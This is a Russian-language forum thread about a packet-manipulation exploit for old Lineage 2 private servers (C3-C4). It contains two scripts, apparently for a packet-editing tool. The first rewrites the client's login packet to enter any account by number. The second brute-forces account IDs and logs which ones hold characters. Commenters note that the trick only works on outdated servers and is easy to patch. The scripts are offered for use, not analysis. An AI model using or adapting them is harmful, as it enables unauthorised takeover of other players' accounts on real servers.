Забытое старое возвращается.

[J-Fobos]

Ложу в в общак надеюсь перенесут куда следует.
Вообщем помните как раньше во времена ц3-ц4 заходили на любой аккаунт
(времена ц3-ц4)
так вот смотрим ниже старое возвращается ;
Cервер [Ссылки могут видеть только зарегистрированные пользователи. ]
Скрипт

const
account=1;
procedure Init;
begin
end;
procedure Free;
begin
end;
begin
if FromServer then exit;
if pck[1]=#$08 then
begin
buf:=#$08;
WriteS('');
WriteD(account);
WriteD(0);
pck:=buf;
end;
end.

Пакет хак [Ссылки могут видеть только зарегистрированные пользователи. ]

[DeZepTup]

видел еще такую версию

const
  last=730070;
  first=1;

var
  id:  integer;
  m:   TMemo;
  frm: TForm;
  count: integer;

procedure Init;
begin
  frm := TForm.Create(nil);
  frm.Caption := 'IDbrut';
  frm.BorderStyle := bsSizeable;
  frm.Position := poScreenCenter;
  frm.Width:=400;
  frm.Height:=600;
  m:=TMemo.Create(frm);
  m.parent:=frm;
  m.align:=alClient;
  m.ScrollBars:=ssBoth;
 

frm.Show;
id:=first;
end;

procedure Free;
begin
  m.Free;
  frm.Free;
end;

begin
  if FromClient and (pck[1]=#$08) then begin
    buf:=#$08;
    WriteS('');
    WriteD(id);
    WriteD(0);
    pck:=buf;
    inc(id);
  end;
  if FromServer and (pck[1]=#$13) then begin
    count:=ReadD(2);
    if count>0 then m.lines.add(IntToStr(id)+' -> '+IntToStr(count)) else m.lines.add(IntToStr(id));

end;
end.

жалко для гп2 и гф не пашет =\

[Bin]

это не старое возвращается, а старый сервер.

это с3- на с3 это всегда работало.

[J-Fobos]

Помоему как и под 4 хроники латается очень просто ^^.
CТарое возвращается не в смысле что это работает на хрониках выше и тому подобное а в том что остались ещё сервера ^^